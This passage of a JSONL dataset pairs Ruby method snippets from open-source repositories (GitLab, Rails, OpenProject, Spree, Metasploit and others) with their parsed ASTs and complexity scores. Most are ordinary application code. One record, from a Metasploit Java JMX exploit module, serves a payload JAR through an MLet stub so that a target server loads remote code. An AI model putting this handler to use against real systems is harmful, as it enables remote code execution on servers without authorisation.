{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":2255,"raw_source":"def windows_absolute_network_path?(pattern)\n          return false unless ::File::ALT_SEPARATOR\n          pattern.start_with?(::File::ALT_SEPARATOR + ::File::ALT_SEPARATOR)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"windows_absolute_network_path?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"ALT_SEPARATOR\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"ALT_SEPARATOR\"]},\"+\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"ALT_SEPARATOR\"]}]}]}]}]}","id":"b25a0108-8b04-4172-9e70-be822d496b7b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/environments_resolver_spec.rb","start_line":90,"raw_source":"def resolve_environments(args = {}, context = { current_user: current_user })\n    resolve(described_class, obj: project, args: args, ctx: context)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_environments\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"8c16eff1-65ba-42b0-87b6-804d73ea73db"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/styles.rb","start_line":46,"raw_source":"def wp_subject(level)\n      resolve_font(@styles.dig(:work_package, :subject)).merge(\n        resolve_font(@styles.dig(:work_package, :\"subject_level_#{level}\"))\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wp_subject\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolve_font\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"sym\",\"children\":[\"subject\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"resolve_font\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@styles\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"work_package\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"subject_level_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}]}]}]}","id":"dfe1ad13-1ba6-4e0d-b4a1-bb7d6983d81b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages/project_storages_controller.rb","start_line":72,"raw_source":"def create # rubocop:disable Metrics/AbcSize\n    create_service = ::Storages::ProjectStorages::BulkCreateService\n                         .new(user: current_user, projects: @projects, storage: @storage,\n                              include_sub_projects: include_sub_projects?)\n                         .call(params.to_unsafe_h[:storages_project_storage])\n\n    create_service.on_success { update_project_list_via_turbo_stream(url_for_action: :index) }\n\n    create_service.on_failure do\n      project_storage = create_service.result.first\n      project_storage.errors.merge!(create_service.errors)\n      component = Storages::Admin::Storages::ProjectsStorageFormModalComponent.new(project_storage:)\n      update_via_turbo_stream(component:, status: :bad_request)\n    end\n\n    respond_with_turbo_streams(status: create_service.success? ? :ok : :unprocessable_entity)\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"create_service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"ProjectStorages\"]},\"BulkCreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"ivar\",\"children\":[\"@projects\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_sub_projects\"]},{\"type\":\"send\",\"children\":[null,\"include_sub_projects?\"]}]}]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"to_unsafe_h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storages_project_storage\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"on_success\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"update_project_list_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url_for_action\"]},{\"type\":\"sym\",\"children\":[\"index\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_storage\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"result\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_storage\"]},\"errors\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"errors\"]}]},{\"type\":\"lvasgn\",\"children\":[\"component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Admin\"]},\"Storages\"]},\"ProjectsStorageFormModalComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_storage\"]},{\"type\":\"lvar\",\"children\":[\"project_storage\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"lvar\",\"children\":[\"component\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_service\"]},\"success?\"]},{\"type\":\"sym\",\"children\":[\"ok\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"992f6994-fd12-4885-8b61-4d67c695eca4"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":741,"raw_source":"def test_ci_files_are_skipped_if_required\n    run_generator [destination_root, \"--skip-ci\"]\n\n    assert_no_file \".github/workflows/ci.yml\"\n    assert_no_file \".github/dependabot.yml\"\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ci_files_are_skipped_if_required\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-ci\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\".github/workflows/ci.yml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\".github/dependabot.yml\"]}]}]}]}","id":"c5ed962d-d509-4c93-929c-2fb6fd214ce2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/design_management/design.rb","start_line":125,"raw_source":"def status\n      if new_design?\n        :new\n      elsif deleted?\n        :deleted\n      else\n        :current\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_design?\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted?\"]},{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"sym\",\"children\":[\"current\"]}]}]}]}","id":"300f3057-1a93-442f-a4b4-e7cb6e4ca548"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb","start_line":32,"raw_source":"def run_batch_size\n    datastore['BATCHSIZE'].to_i\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_batch_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BATCHSIZE\"]}]},\"to_i\"]}]}","id":"96ed00d2-1a82-4769-a04b-83b63f9bb5cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/vim_soap.rb","start_line":113,"raw_source":"def vim_soap_retrieve_all_permissions\n    soap_data = '<RetrieveAllPermissions xmlns=\"urn:vim25\">'\n    soap_data << '<_this type=\"AuthorizationManager\">' + @server_objects['authorizationManager'] + '</_this>'\n    soap_data << '</RetrieveAllPermissions>'\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"vim_soap_retrieve_all_permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"str\",\"children\":[\"<RetrieveAllPermissions xmlns=\\\"urn:vim25\\\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"soap_data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<_this type=\\\"AuthorizationManager\\\">\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_objects\"]},\"[]\",{\"type\":\"str\",\"children\":[\"authorizationManager\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"</_this>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"soap_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</RetrieveAllPermissions>\"]}]}]}]}","id":"ecc93665-ddac-4859-8f70-abb707c5dcef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/openvas.rb","start_line":520,"raw_source":"def cmd_openvas_report_import(*args)\n        return unless openvas?\n\n        if args?(args, 2)\n          begin\n            report = @ov.report_get_raw('report_id' => args[0], 'format' => args[1])\n            data = nil\n            report.elements.each('//get_reports_response') { |r| data = r.to_s }\n            print_status('Importing report to database.')\n            framework.db.import({ data: data })\n          rescue OpenVASOMP::OMPError => e\n            print_error(e.to_s)\n          end\n        else\n          print_status('Usage: openvas_report_import <report_id> <format_id>')\n          print_status('Only the NBE and XML formats are supported for importing.')\n        end\n      end","complexity_score":31.63,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_openvas_report_import\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"openvas?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args?\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ov\"]},\"report_get_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"report_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"elements\"]},\"each\",{\"type\":\"str\",\"children\":[\"//get_reports_response\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Importing report to database.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"import\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenVASOMP\"]},\"OMPError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Usage: openvas_report_import <report_id> <format_id>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Only the NBE and XML formats are supported for importing.\"]}]}]}]}]}]}","id":"216819c9-fe28-45b6-aa07-a713665ffc14"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service/dialog_properties/retirement.rb","start_line":16,"raw_source":"def parse\n        @attributes.tap { parse_options }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"parse_options\"]}]}]}","id":"9fcdf4d0-c1cf-4306-ba5a-654fa3ec019d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jmx_server.rb","start_line":68,"raw_source":"def on_request_uri(cli, request)\n    if @jar.nil?\n      p = regenerate_payload(cli)\n      @jar = p.encoded_jar({ random: true })\n      paths = [\n        [\"metasploit\", \"JMXPayloadMBean.class\"],\n        [\"metasploit\", \"JMXPayload.class\"],\n      ]\n\n      @jar.add_file('metasploit/', '')\n      paths.each do |path_parts|\n        path = ['java', path_parts].flatten.join('/')\n        contents = ::MetasploitPayloads.read(path)\n        @jar.add_file(path_parts.join('/'), contents)\n      end\n    end\n\n    if request.uri =~ /mlet$/\n      jar = \"#{rand_text_alpha(8 + rand(8))}.jar\"\n\n      mlet = \"<HTML><mlet code=\\\"#{@jar.substitutions[\"metasploit\"]}.JMXPayload\\\" \"\n      mlet << \"archive=\\\"#{jar}\\\" \"\n      mlet << \"name=\\\"#{@mlet}:name=jmxpayload,id=1\\\" \"\n      mlet << \"codebase=\\\"#{get_uri}\\\"></mlet></HTML>\"\n      send_response(cli, mlet,\n                    {\n                      'Content-Type' => 'application/octet-stream',\n                      'Pragma' => 'no-cache'\n                    })\n\n      print_status(\"Replied to request for mlet\")\n    elsif request.uri =~ /\\.jar$/i\n      send_response(cli, @jar.pack,\n                    {\n                      'Content-Type' => 'application/java-archive',\n                      'Pragma' => 'no-cache'\n                    })\n      print_status(\"Replied to request for payload JAR\")\n    end\n  end","complexity_score":47.55,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jar\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@jar\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded_jar\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"random\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metasploit\"]},{\"type\":\"str\",\"children\":[\"JMXPayloadMBean.class\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metasploit\"]},{\"type\":\"str\",\"children\":[\"JMXPayload.class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jar\"]},\"add_file\",{\"type\":\"str\",\"children\":[\"metasploit/\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_parts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java\"]},{\"type\":\"lvar\",\"children\":[\"path_parts\"]}]},\"flatten\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MetasploitPayloads\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jar\"]},\"add_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"mlet$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jar\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"str\",\"children\":[\".jar\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mlet\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<HTML><mlet code=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jar\"]},\"substitutions\"]},\"[]\",{\"type\":\"str\",\"children\":[\"metasploit\"]}]}]},{\"type\":\"str\",\"children\":[\".JMXPayload\\\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mlet\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"archive=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jar\"]}]},{\"type\":\"str\",\"children\":[\"\\\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mlet\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mlet\"]}]},{\"type\":\"str\",\"children\":[\":name=jmxpayload,id=1\\\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mlet\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"codebase=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_uri\"]}]},{\"type\":\"str\",\"children\":[\"\\\"></mlet></HTML>\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"mlet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Replied to request for mlet\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.jar$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jar\"]},\"pack\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/java-archive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Pragma\"]},{\"type\":\"str\",\"children\":[\"no-cache\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Replied to request for payload JAR\"]}]}]},null]}]}]}]}","id":"367f2eaa-9e0c-4ccb-99da-55bee9a29793"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/container_repositories_finder.rb","start_line":41,"raw_source":"def sort(repositories)\n    return repositories unless @params[:sort]\n\n    repositories.order_by(@params[:sort])\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repositories\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repositories\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repositories\"]},\"order_by\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]}","id":"239cdc56-ac69-445b-80a2-cb7da8da10ec"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/resource_controller.rb","start_line":38,"raw_source":"def destroy\n            if resource.destroy\n              head 204\n            else\n              render_error_payload(resource.errors)\n            end\n          end","complexity_score":8.53,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[204]}]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]}]}]}]}","id":"58d36445-0b43-4139-bda0-17bc521f4a43"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/frameit/lib/frameit/config_parser.rb","start_line":118,"raw_source":"def integer_or_percentage(value)\n      value.kind_of?(Integer) || (value.end_with?('%') && value.to_f > 0)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"integer_or_percentage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"%\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_f\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"bf194a42-c875-4724-a00b-297aef357573"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/import_data/points.rb","start_line":38,"raw_source":"def add(point_data)\n    preload_reference_data unless @preloaded\n\n    if valid_point_data?(point_data)\n      prepared_attributes = prepare_point_attributes(point_data)\n\n      if prepared_attributes\n        @buffer << prepared_attributes\n        @processed_count += 1\n\n        flush_batch if @buffer.size >= batch_size\n      else\n        @skipped_count += 1\n      end\n    else\n      @skipped_count += 1\n      logger.debug \"Skipped point: invalid data - #{point_data.inspect}\"\n    end\n  